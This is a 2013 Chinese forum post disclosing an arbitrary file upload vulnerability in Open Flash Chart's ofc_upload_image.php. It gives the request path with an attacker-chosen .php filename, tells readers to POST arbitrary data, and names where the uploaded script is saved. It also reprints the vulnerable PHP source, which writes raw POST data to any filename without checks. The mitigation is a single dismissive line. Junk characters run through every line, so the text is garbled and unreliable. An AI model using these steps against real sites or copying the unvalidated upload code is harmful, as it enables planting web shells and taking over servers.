POST 数据漏洞文件执行任意后缀文件保存
+ x2 B4 r9 o' w- c* y 漏洞文件/chart/php-ofc-library/ofc_upload_image.php. E4 V2 {% S5 d) V1 N
, r- m3 @! g, b+ X
利用：) Z/ t) z% F4 T; h
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
; S: Y o7 [- X$ m- \; ^ ^% |/ v" {" W% n
Post任意数据' l# E7 u1 B; @7 [, Q% `3 Z2 b" A
保存位置http://localhost/chart/tmp-upload-images/hfy.php
! d1 M+ R! ]9 R0 e! q1 |0 @5 O O) e, P/ d4 ?/ [
; T: ~& w D8 [5 D6 v最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
5 D Y# O! x- E `8 Z; q" R% I
4 K9 P* @% k3 P# k9 a% X1 a<?php% g+ K O* l) R5 A4 @4 N# K' A
7 x! e1 l' P2 a. _6 ?1 J8 s//+ R; y0 c# X% \" r6 @
// In Open Flash Chart -> save_image debug mode, you* l0 A+ F0 C. P
// will see the 'echo' text in a new window.
7 ]5 Q+ ^- X: ~) m- r N/ V0 g: t//
8 a$ v0 p, B& W4 u5 ?. U; B
4 J3 o i. l% E8 a9 Q) w% Q+ P/*
8 d A2 N% m$ @3 x- C* `
/ H3 \1 u4 |5 @0 k5 e. M/ }2 Gprint_r( $_GET );7 }" }* A+ r- \' {$ @
print_r( $_POST );2 @ h/ E5 D' s3 w
print_r( $_FILES );( d/ ?* T/ W8 h
5 l# b- y+ |: n. O5 eprint_r( $GLOBALS );$ V l9 t+ ~ t1 y9 z. a
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
5 x1 i1 n5 z" D
7 D, R: |3 B9 } \; n*/
4 L- B7 D" Y, e% S// default path for the image to be stored //6 D& O# O P. W. w! @0 v
$default_path = '../tmp-upload-images/';7 z2 ^7 X1 z2 d9 l( a! p! H- P; K
; @' W4 J8 x M% |. I% Y" _+ Lif (!file_exists($default_path)) mkdir($default_path, 0777, true);
/ P( r( m- A" n: f; ?
( f3 U1 s2 T; }; r' a// full path to the saved image including filename //
5 M, C m; B- h1 r9 j5 H7 U9 h' b# b w$destination = $default_path . basename( $_GET[ 'name' ] ); 8 Y( A8 E, B5 N& h6 l
# E1 c+ y7 t5 N- D/ B# a
echo 'Saving your image to: '. $destination;
/ U, r Q/ \& ^7 ]// print_r( $_POST );9 ?- ^- u+ N% B5 R
// print_r( $_SERVER );
6 B) I# {4 j% D; t+ O3 o6 ]8 h/ R// echo $HTTP_RAW_POST_DATA;
, M; h: f0 }+ y& T) M' R8 l" ]/ h; g4 O5 u. Y* N
//
, X. A" d' C+ ~6 @( q8 P// POST data is usually string data, but we are passing a RAW .png
7 y7 W/ k/ ~3 {+ [* T// so PHP is a bit confused and $_POST is empty. But it has saved3 ?$ i/ a3 v& W, w
// the raw bits into $HTTP_RAW_POST_DATA2 f: @4 I+ `" n: C7 D
//: y4 b7 r9 D9 N$ l& B
; p( @, c* B" r0 T" [
$jfh = fopen($destination, 'w') or die("can't open file");9 w/ w- q3 _1 u! D, }
fwrite($jfh, $HTTP_RAW_POST_DATA);
9 h! |. x- v& `" S5 X( ?# A8 Efclose($jfh);
. Z" G6 z, F$ }; d
' x- K0 \. e. T7 i+ T3 U* m2 _//
$ x. K# p) W% z+ u' x+ K// LOOK:
; A0 S$ i) I4 j: [' [6 O//
# W( x9 M5 |- M. Y; @0 P& ?exit();; M! F3 M3 o) |( j. a
//
# x, G9 V% p/ V# f// PHP5:; ?" r" I4 H- ?) |% ]7 p
//
. n) i3 [7 X% Q, h/ K% j9 _3 n8 b. T) E. o) U D
3 |5 {5 X' m3 ` Y6 w// default path for the image to be stored //, _0 h- I9 Q' D6 Q* b3 T& O
$default_path = 'tmp-upload-images/';- h6 X0 t/ B; Y" t7 m
; w5 p( ^9 U$ k8 K% W- L9 ~6 }if (!file_exists($default_path)) mkdir($default_path, 0777, true);
* C3 d2 f% ~5 S. u! e8 Y2 _
: N7 S+ H0 C# E1 R7 }1 \// full path to the saved image including filename //
: P& G% Q1 N' j* ?* M. a0 w$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
; m7 w5 O. S: E4 _( G5 f# }
7 }0 ]9 g: {& A# }// move the image into the specified directory //7 u! N# c: P9 }1 i) E$ r8 k
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {0 ^ t# y5 |, | i
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
4 s$ S8 S D- \) G} else { E& M" X- t! P9 z Y9 [
echo "FILE UPLOAD FAILED";6 c# L, U* z& |/ `6 `, Q3 b# f7 `
}
. S% Q0 P3 }9 u. u; I
6 p6 E/ C. J U0 m5 r
5 R& w- M% {$ o2 `?>
& j$ j& u1 @1 ^ ]) [( N
( D% u. i6 V* I: M2 K3 p( _* c: v% l' \( l) N# b1 I! n
/ `! D: C: R; F$ f! V, O- k
$ i2 c' X* Q, B- N! b8 ]! M
% C$ Z% x) I+ {7 k
* `5 m: A* S& B! h0 X$ L修复方案：
" l) Q6 x2 {% l) W" ~这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞 2 M. b9 `5 `2 y6 I- v
% z: y% J- U! I5 a/ I$ w$ q
2 t; w6 o" q0 g8 b$ P7 b. |6 g% r( t( w. o/ ^# e; X
; e' D' \3 v1 H5 n: W2 ` |
发表于 2013-2-23 12:38:58
收藏
支持
反对